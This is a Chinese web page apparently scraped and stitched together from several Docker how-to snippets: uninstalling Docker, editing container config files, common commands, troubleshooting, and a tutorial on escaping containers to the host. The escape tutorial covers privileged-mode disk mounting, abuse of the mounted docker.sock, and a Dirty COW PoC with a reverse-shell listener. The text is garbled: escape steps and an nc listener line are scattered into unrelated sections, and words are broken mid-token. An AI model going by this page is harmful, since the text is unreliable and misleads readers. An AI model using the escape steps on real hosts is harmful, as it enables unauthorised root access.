1. 首页 > 手机 >

docker停止所有容器 docker停止容器的指令

Docker卸载过程

一个Docker镜像可以构建于另一个Docker镜像之上,这种层叠关系可以是多层的。第1层的镜像层我们称之为基础镜像(Base

对一台已经安装了docker# docker pull ubuntu:12.04的机器,如果我们要卸载掉他的话,可以通过rpm命令删除掉。

docker停止所有容器 docker停止容器的指令docker停止所有容器 docker停止容器的指令


1)这里用到一台已经装了docker的机器,首先查看一下他的安装情况:

执行rpm -qa | grep docker,可以看到如下信息

2)在删除之前,我们可以通过docker ps命令来看一下有哪些容器处于运行状态,如果有的话通过docker stop 容器ID可用停掉容器,如果以CTRL+P+Q的方式退出容器的话,需要先docker attach 容器ID来先进入容器。

3)如果没有处于运行状态的容器,可用跳过上一步,直接去删除docker,这里我们分别指向rpm -e来删除这些软件,删除的时候可能提示依赖包错误,我们需要加上--nodeps,如下图:

4)执行完上面的作后docker,如果还没有卸载完全,需要通过yum remove将相关的包remove掉

yum remove docker

docker-client

docker-common

docker-latest

docker-latest-logrotate

docker-logrotate

docker-selinux

docker-engine-selinux

docker-engine

5)去docker相关的一些目录,将该目录强制删除掉

docker添加挂载目录或者添加端口

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以 执行Docker服务能够运行的任意命令 ,以root权限运行的Docker服务通常可以 访问整个主机系统 。

docker添加挂载目录:先在docker容器里创建目录/import

1.关闭dockDockerfileer

2.sudo su切换到root身份,cd /var/lib/docker/containers/容器id/,进入对应容器目录

3.vi hostconfig.json,修改如下,将容器目录/import绑定到主机/data目录:

4.vi config.v2.json,修改如下,添加MountPoints:

5.启动docker

docker ecec -it 容器id /bin/bash进入ls -l /就可以看见import目录

添加端口在这个文件hostconfig.json

首先输入

可以看到我当前的名叫mynginx容器只打开了80端口

在给mynginx容器添加上这条命令:

来设置重启docker之后自动启动该容器。设置完成后再修改hostconfig.json文件中的"PortBindings"就行。

保存后退出

再次启动docker容器ctl start docker

输入docker ps -a查看

发现已经增加了8000端口

若想要增加容器端口,则需要把config.v2.json中的ExedPorts也加上你想添加的端口号

kubernetes与docker的关系是什么?

合作关系,Docker作为单一的容器技术工具并不能很好地定义容器的“组织方式”和“管理规范”,难以地支撑起生产级大规模容器化部署的要求。因此容器技术的发展就迅速走向了以Kubernetes为代表的“容器编排”的技术路线.

Kubernetes的出现也重新定义了微服务架构的技术方向,“云原生”及“ServMesh(服务网格)”等概念,很大程度上也是依赖于Kubernetes所提供的基础能力。

扩展资料:

常用命令分享

拉取docker镜像

docker pull image_name

查看宿主机上的镜像,Docker镜像保存在/var/lib/docker目录下:

docker images

删除镜像

docker rmi

查看当前有哪些容器正在运行

dock查看所有容器er ps

docker ps -a

启动、停止、重启容器命令:

docker start container_name/container_iddocker stop container_name/container_iddocker restart container_name/container_id

后台启动一个容器后,如果想进入到这个容器然后进入到该容器的hostconfig.json文件中,增加一个8000的端口,可以使用attach命令:

docker attach container_name/container_id

删除容器的命令:

docker rm container_name/container_id

查看当前系统Docker信息

docker

干货来啦!带你初探Docker逃逸

2、LXC是基于cgroup等linux kernel功能的,因此container的guest系统只能是linux base的。

Docker 是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能 导致系统面临安全威胁。

Image

本期安仔课堂,ISEC实验室的张老师 将为大家介绍不同环境下, Docker逃逸至外部宿主机的情况。

一、配置特权模式时的逃逸情况

1.--privileged(特权模式)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器, 可以获取大量设备文件访问权限 。因为当执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker可通过mount命令将外部宿主机磁盘设备挂载进容器内部, 获取对整个宿主机的文件读写权限 ,此外还可以 通过写入任务等方式在宿主机执行命令 。

具体步骤如下:

1.以特权模式运行一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash

2.查看磁盘文件:fdisk -l

3.此时查看/dev/路径会发现很多设备文件:ls /dev

4.新建目录以备挂载:mkdir /abc

6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc

7.尝试写文件到宿主机:echo 123 > /abc/home/botasky/escape2

8.查看宿主机中的文件:ls /home/botasky/escape2

2.--cap-add与SYS_

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX作系统中超级用户与普通用户的概念, 允许普通用户执行超级用户权限方能运行的命令 。

截至Linux 3.0版本,Linux有 38种capabilities。Docker容器默认限制为14个capabilities ,可以使用--cap-add和--cap-drop选项 为容器配置capabilities 。

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在--cap-add的诸多选项中,SYS意为container进程允许执行mount、umount等一系列系统管理作,因此当容器以--cap-add=SYS启动时,也将面临威胁。

二、挂载配置不当时的逃逸情况

1.危险的Docker.sock

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,端的角色由docker daemon扮演,二者之间 通信方式有以下3种:

其中 使用docker.sock进行通信为默认方式 ,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

因此,当容器访问docker socket时,我们可 通过与docker daemon的通信对其进行恶意纵完成逃逸 。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

具体步骤如下:

1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install docker.io

3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock

可以看见@符号后的Docker ID已经发生变化:

5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa

三、存在Dirty Cow漏洞时的逃逸情况

1.牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件 意为任务执行顺序异常,可能 导致应用崩溃或面临攻击者的代码执行威胁 。利用该漏洞,攻击者可在其目标系统内提升权限,甚至 获得root权限 。 VDSO 就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对牛漏洞发起攻击, 令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件 。

2.PoC&验证环境

GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。

1. 运行验证容器:docker-come run dirtycow /bin/bash

3. 编译PoC并运行,等待shell反弹:make &./0xdeadbeef

通过ID命令,可以发现这个shell为root权限:

参考&引用

docker 容器有哪些状态

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

docker容器的生命周期有三周状态。

在docker容器的生命周期,一个docker容器从产生到运行部署大致分为如下三个状态:

用于创建image镜像的模板文件,出于管理和安全的考虑,docker建议所有的镜像文件应该由dockerfile来创建,而当前不少用户把docker当虚拟机来使用,甚至容器中安装SSH,从安全的角度,这是不恰当的。

镜像文件,对比PC端的概念,我们可以把它理解为端的可执行软件包。一旦打包生成,如存在安全问题,那这些问然后停止容器ctl stop docker题也被一并打包,导致安全。

Container

运行起来的image文件就是容器了,从外来看就是一个应用,可对外提供服务了。

所以不难发现,docker容器的生命周期,就是一个镜像文件从产生、运行到停止的过程。

Docker的镜像和容器的区别

还可以通过docker rm -f 容器ID命令将容器直接删除掉。

一、Docker镜像

要理解Docker镜像和Docker容器之间的区别,确实不容易。

假设Linux内核是第0层,那么无论怎么运行Docker,它都是运行于内核层之上的。这个Docker镜像,是一个只读的镜像,位于第1层,它不能被修改或不能保存状态。

Image),其他层的镜像(除了最顶层)我们称之为父层镜像(Parent

Image)。这些镜像继承了他们的父层镜像的所有属性和设置,并在Dockerfile中添加了自己的配置。

Docker镜像通过镜像ID进行识别。镜像ID是一个64字符的十六进制的字符串。但是当我们运行镜像时,通常我们不会使用镜像ID来引用镜像,而是使用镜像名来引用。要列出本地所有有效的镜像,可以使用命令

# docker images

镜像可以发布为不同的版本,这种机制我们称之为标签(Tag)。

如上图所示,neo4j镜像有两个版本:lastest版本和2.1.5版本。

可以使用pull命令加上指定的标签:

# docker pull ubuntu:14.04

二、Docker容器

Docker容器可以使用命令创建:

# docker run imagename

它会在所有的镜像层之上增加一个可写层。这个可写层有运行在CPU上的进程,而且有两个不同的状态:运行态(Running)和退出态(Exited)。这就是Docker容器。当我们使用docker

run启动容器,Docker容器就进入运行态,当我们停止Docker容器时,它就进入退出态。

当我们有一个正在运行的Docker容器时,从运行态到停止态,我们对它所做的一切变更都会地写到容器的文件系统中。要切记,对容器的变更是写入到容器的文件系统的,而不是写入到Docker镜像中的。

我们可以用同一个镜像启动多个Docker容器,这些容器启动后都是活动的,彼此还是相互隔离的。我们对其中一个容器所做的变更只会局这里给出一个删除命令的示例作为参考限于那个容器本身。

如果对容器的底层镜像进行修改,那么当前正在运行的容器是不受影响的,不会发生自动更新现象。

64字符的十六进制的字符串来定义容器ID,它是容器的标识符。容器之间的交互是依靠容器ID识别的,由于容器ID的字符太长,我们通常只需键入容器ID的前4个字符即可。当然,我们还可以使用容器名,但显然用4字符的容器ID更为简便。

docker的一个容器所有的docker命令对它都无效是什么原因?

硬盘I/O是指硬盘的输入和输出(Input和Output的缩写)。就是发指令,从磁盘读取某段扇区的内容。指令一般是通知磁盘开始扇区位置,然后给出需要从这个初始扇区往后读取的连续扇区个数,同时给出动作是读,还是写。

命令没装对,查看命令是否生效了

检查你的docker软件是否安装好

检查你的用户是否有权限

检查你的容器是否在运行

希望可2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234以帮助你 请 采纳 谢谢

docker可以控制很多资源,目前还不能对如下哪些资源进行隔离

不能对硬盘I/O读写进行隔离。

对于磁盘I/O资源来说,考量的参数是容量和读写速度,因此对容器的磁盘限制也应该从这两个维度出发。目前Docker 支持对磁盘的读写速度进行限制,但是并没有方法能限制容器能使用的磁盘容量(一旦磁盘 mount 到容器里,容器就能够使用磁盘的所有容量)。

扩展资料

引擎局限性:

1、Docker是基于Linux 64bit的,无法在32bit的linux/Windows/unix环境下使用。

3、隔离性相比KVM之类的虚拟化方案还是有些欠缺,所有containedocker-client-latestr公用一部分的运行库。

4、网络管理相对简单,主要是基于namespace隔离。

5、cgroup的cpu和cpuset提供的cpu功能相比KVM的等虚拟化方如果想更新容器到其镜像的新版本,那么必须当心,确保我们是以正确的方式构建了数据结构,否则我们可能会导致损失容器中所有数据的后果。案相比难以度量(所以dotcloud主要是按内存收费)。

6、Docker对disk的管理比较有限。

7、container随着用户进程的停止而销毁,container中的log等用户数据不便收集。

docker 启动报错

参考资料来源:

docker: Error response from daemon: driver failed programming external connectivity on endpoint elasticsearch (d32baf265a05170acbc94dd8df1738466b4d6beddc9392bdc6cb2f172690c5): (iptables failed: iptables --wait -t nat -A DOCKER -p tcp -d 0/0 --dport 9300 -j DNAT --to-destination 172.17.0.2:9300 ! -i docker0: iptables: No chain/target/match by that name.

4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

看到错误信息,发现是网络的问题,可能是在关闭防火墙的时候,启动的docker,试试重新启动防火墙

ctl start firewalld 启动防火墙

如果没有关闭防火墙的情况下依然报错,尝试使用下面方式重新启动docker

1.kill掉docker所有进程

[root@node-11 ~]# pkill docker

2.清空nat表的所有链

[root@node-11 ~]# iptables -t nat -F

3.停止docker默认网桥docker0

[root@node-11 ~]# ifconfig docker0 down

4.删除docker0网桥

[root@node-11 ~]# brctl delbr docker0

5.重启docker服务

[root@node-11 ~]# ctl restart docker

至此,成功运行docker容器

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 12345678@qq.com 举报,一经查实,本站将立刻删除。

联系我们

工作日:9:30-18:30,节假日休息